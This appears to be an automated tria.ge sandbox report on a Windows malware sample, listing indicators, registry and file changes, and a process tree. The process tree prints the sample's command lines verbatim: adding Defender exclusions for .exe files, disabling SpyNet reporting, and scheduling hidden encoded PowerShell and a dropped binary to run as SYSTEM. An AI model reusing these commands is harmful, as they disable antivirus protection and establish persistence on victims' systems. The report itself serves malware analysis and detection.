Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
195s -
max time network
259s -
platform
windows10-1703_x64 -
resource
win10-20231020-en -
resource tags
arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system -
submitted
30/10/2023, 03:45
Static task
static1
Behavioral task
behavioral1
Sample
992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe
Resource
win7-20231023-en
General
-
Target
992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe
-
Size
7.3MB
-
MD5
704b4f4e101ed35a3735ab0b586859ad
-
SHA1
db554d46b64cfa45e057d9bb355b2ed610c79001
-
SHA256
992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b
-
SHA512
7b8e7291ccb8e2eb7d88d09c906a032956a5ba93a5cc6da744c3425f2534a09d2dd3b69818e58eefc4e2f06768034286e8051d5ccd71fcc6842bb8a45dcb597a
-
SSDEEP
196608:91Oe+bSAdYjIvc4Ch8eyBoSSAVxiNhdQdmv:3OUAS05BnSUIN8dM
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 33 4176 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2640874492-649017405-3475600720-1000\Control Panel\International\Geo\Nation MZhUnIz.exe -
Executes dropped EXE 4 IoCs
pid Process 3844 Install.exe 2836 Install.exe 2164 PCRACmz.exe 2936 MZhUnIz.exe -
Loads dropped DLL 1 IoCs
pid Process 4176 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json MZhUnIz.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json MZhUnIz.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini MZhUnIz.exe -
Drops file in System32 directory 33 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat rundll32.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 MZhUnIz.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol PCRACmz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8C0A4A9E1CEFEB34D84E7975A8A5D28F MZhUnIz.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini PCRACmz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8C0A4A9E1CEFEB34D84E7975A8A5D28F MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 MZhUnIz.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA MZhUnIz.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 MZhUnIz.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol MZhUnIz.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja MZhUnIz.exe File created C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\MjFCbLg.xml MZhUnIz.exe File created C:\Program Files (x86)\VgjyoxcUurXmC\cwEpdcx.xml MZhUnIz.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi MZhUnIz.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi MZhUnIz.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak MZhUnIz.exe File created C:\Program Files (x86)\TNrIrJXzU\nCSXRSu.xml MZhUnIz.exe File created C:\Program Files (x86)\TNrIrJXzU\eCbFaT.dll MZhUnIz.exe File created C:\Program Files (x86)\IUaOUdhiTQgU2\kCUohFd.xml MZhUnIz.exe File created C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\ehjtjrC.dll MZhUnIz.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak MZhUnIz.exe File created C:\Program Files (x86)\IUaOUdhiTQgU2\XeUCxbXFlazTx.dll MZhUnIz.exe File created C:\Program Files (x86)\VgjyoxcUurXmC\XYOCAQx.dll MZhUnIz.exe File created C:\Program Files (x86)\UbaivrmHqZUn\FfwvxCj.dll MZhUnIz.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\bioYAMjDPNiNoqxvcS.job schtasks.exe File created C:\Windows\Tasks\YjdyicABEfUJyYqxF.job schtasks.exe File created C:\Windows\Tasks\RkwdBuXRacmpEbY.job schtasks.exe File created C:\Windows\Tasks\aaSAiCeWTOJWAqakW.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4848 schtasks.exe 2396 schtasks.exe 3748 schtasks.exe 4916 schtasks.exe 652 schtasks.exe 4356 schtasks.exe 3620 schtasks.exe 4932 schtasks.exe 4592 schtasks.exe 5100 schtasks.exe 3256 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix MZhUnIz.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer MZhUnIz.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MZhUnIz.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 MZhUnIz.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" MZhUnIz.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{ba05db4e-0000-0000-0000-d01200000000} MZhUnIz.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MZhUnIz.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MZhUnIz.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache MZhUnIz.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume MZhUnIz.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MZhUnIz.exe -
Suspicious behavior: EnumeratesProcesses 46 IoCs
pid Process 3348 powershell.EXE 3348 powershell.EXE 3348 powershell.EXE 220 powershell.exe 220 powershell.exe 220 powershell.exe 3592 powershell.exe 3592 powershell.exe 3592 powershell.exe 5084 powershell.EXE 5084 powershell.EXE 5084 powershell.EXE 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe 2936 MZhUnIz.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3348 powershell.EXE Token: SeDebugPrivilege 220 powershell.exe Token: SeDebugPrivilege 3592 powershell.exe Token: SeDebugPrivilege 5084 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1832 wrote to memory of 3844 1832 992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe 70 PID 1832 wrote to memory of 3844 1832 992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe 70 PID 1832 wrote to memory of 3844 1832 992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe 70 PID 3844 wrote to memory of 2836 3844 Install.exe 71 PID 3844 wrote to memory of 2836 3844 Install.exe 71 PID 3844 wrote to memory of 2836 3844 Install.exe 71 PID 2836 wrote to memory of 2760 2836 Install.exe 73 PID 2836 wrote to memory of 2760 2836 Install.exe 73 PID 2836 wrote to memory of 2760 2836 Install.exe 73 PID 2836 wrote to memory of 2264 2836 Install.exe 75 PID 2836 wrote to memory of 2264 2836 Install.exe 75 PID 2836 wrote to memory of 2264 2836 Install.exe 75 PID 2760 wrote to memory of 1232 2760 forfiles.exe 77 PID 2760 wrote to memory of 1232 2760 forfiles.exe 77 PID 2760 wrote to memory of 1232 2760 forfiles.exe 77 PID 2264 wrote to memory of 3308 2264 forfiles.exe 78 PID 2264 wrote to memory of 3308 2264 forfiles.exe 78 PID 2264 wrote to memory of 3308 2264 forfiles.exe 78 PID 1232 wrote to memory of 1184 1232 cmd.exe 79 PID 1232 wrote to memory of 1184 1232 cmd.exe 79 PID 1232 wrote to memory of 1184 1232 cmd.exe 79 PID 3308 wrote to memory of 4532 3308 cmd.exe 80 PID 3308 wrote to memory of 4532 3308 cmd.exe 80 PID 3308 wrote to memory of 4532 3308 cmd.exe 80 PID 1232 wrote to memory of 4440 1232 cmd.exe 81 PID 1232 wrote to memory of 4440 1232 cmd.exe 81 PID 1232 wrote to memory of 4440 1232 cmd.exe 81 PID 3308 wrote to memory of 3444 3308 cmd.exe 82 PID 3308 wrote to memory of 3444 3308 cmd.exe 82 PID 3308 wrote to memory of 3444 3308 cmd.exe 82 PID 2836 wrote to memory of 3620 2836 Install.exe 83 PID 2836 wrote to memory of 3620 2836 Install.exe 83 PID 2836 wrote to memory of 3620 2836 Install.exe 83 PID 2836 wrote to memory of 4884 2836 Install.exe 85 PID 2836 wrote to memory of 4884 2836 Install.exe 85 PID 2836 wrote to memory of 4884 2836 Install.exe 85 PID 3348 wrote to memory of 3596 3348 powershell.EXE 89 PID 3348 wrote to memory of 3596 3348 powershell.EXE 89 PID 2836 wrote to memory of 3236 2836 Install.exe 94 PID 2836 wrote to memory of 3236 2836 Install.exe 94 PID 2836 wrote to memory of 3236 2836 Install.exe 94 PID 2836 wrote to memory of 4932 2836 Install.exe 96 PID 2836 wrote to memory of 4932 2836 Install.exe 96 PID 2836 wrote to memory of 4932 2836 Install.exe 96 PID 2164 wrote to memory of 220 2164 PCRACmz.exe 99 PID 2164 wrote to memory of 220 2164 PCRACmz.exe 99 PID 2164 wrote to memory of 220 2164 PCRACmz.exe 99 PID 220 wrote to memory of 520 220 powershell.exe 101 PID 220 wrote to memory of 520 220 powershell.exe 101 PID 220 wrote to memory of 520 220 powershell.exe 101 PID 520 wrote to memory of 700 520 cmd.exe 102 PID 520 wrote to memory of 700 520 cmd.exe 102 PID 520 wrote to memory of 700 520 cmd.exe 102 PID 220 wrote to memory of 4356 220 powershell.exe 103 PID 220 wrote to memory of 4356 220 powershell.exe 103 PID 220 wrote to memory of 4356 220 powershell.exe 103 PID 220 wrote to memory of 3356 220 powershell.exe 104 PID 220 wrote to memory of 3356 220 powershell.exe 104 PID 220 wrote to memory of 3356 220 powershell.exe 104 PID 220 wrote to memory of 4992 220 powershell.exe 105 PID 220 wrote to memory of 4992 220 powershell.exe 105 PID 220 wrote to memory of 4992 220 powershell.exe 105 PID 220 wrote to memory of 4560 220 powershell.exe 106 PID 220 wrote to memory of 4560 220 powershell.exe 106
Processes
-
C:\Users\Admin\AppData\Local\Temp\992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe"C:\Users\Admin\AppData\Local\Temp\992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Users\Admin\AppData\Local\Temp\7zSBA09.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Users\Admin\AppData\Local\Temp\7zSBB70.tmp\Install.exe.\Install.exe /iEsqfdidqlc "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:1232 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵PID:1184
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵PID:4440
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:3308 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵PID:4532
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵PID:3444
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gLKnzCSaN" /SC once /ST 01:03:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
PID:3620
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gLKnzCSaN"4⤵PID:4884
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gLKnzCSaN"4⤵PID:3236
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bioYAMjDPNiNoqxvcS" /SC once /ST 03:47:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exe\" 0l /wqsite_idGTF 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4932
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3348 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:3596
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4824
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:4844
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:1904
-
